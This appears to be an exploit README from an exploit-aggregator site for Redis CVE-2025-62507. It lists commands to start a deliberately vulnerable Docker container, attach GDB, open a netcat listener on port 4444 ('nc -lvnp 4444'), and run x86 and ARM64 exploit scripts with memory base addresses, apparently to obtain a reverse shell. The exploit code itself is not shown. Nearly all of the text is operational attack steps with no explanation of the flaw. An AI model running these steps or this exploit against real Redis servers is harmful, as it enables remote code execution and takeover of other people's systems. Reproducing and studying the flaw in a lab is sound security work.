## https://sploitus.com/exploit?id=B513252E-B055-57F1-ACB4-4CC436069EE6
## Docker Operations
```
# Create a Docker container
docker compose -f docker-compose-vulnerable.yml up -d
# Delete the Docker container
docker compose -f docker-compose-vulnerable.yml down
# Restart the Docker container
docker restart redis-cve-2025-62507
# Get PID: e.g., 2585337
docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}'
```
## Debugging and Verification Methods
```
# Start GDB and load the symbol table
./scripts/gdb_with_symbols.sh 2585337
./scripts/gdb_with_symbols.sh $(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# In another terminal, run the following command:
nc -lvnp 4444
# In another terminal, send the test payload with the following arguments: [ELF text base] [libc base] [stack base]
python3 scripts/exploit_x86.py 0x555555554000 0x7ffff75b3000 0x7ffffffde000
```
## Quick Verification
```
# After starting the Docker container, open a new terminal and run the following command:
nc -lvnp 4444
# In another terminal, send the test payload with the following arguments:
python3 scripts/exploit_x86.py 0x555555554000 0x7ffff75b3000 0x7ffffffde000
```
## ARM64
```
./scripts/gdb_with_symbols.sh $(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
```
```
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffdf000
```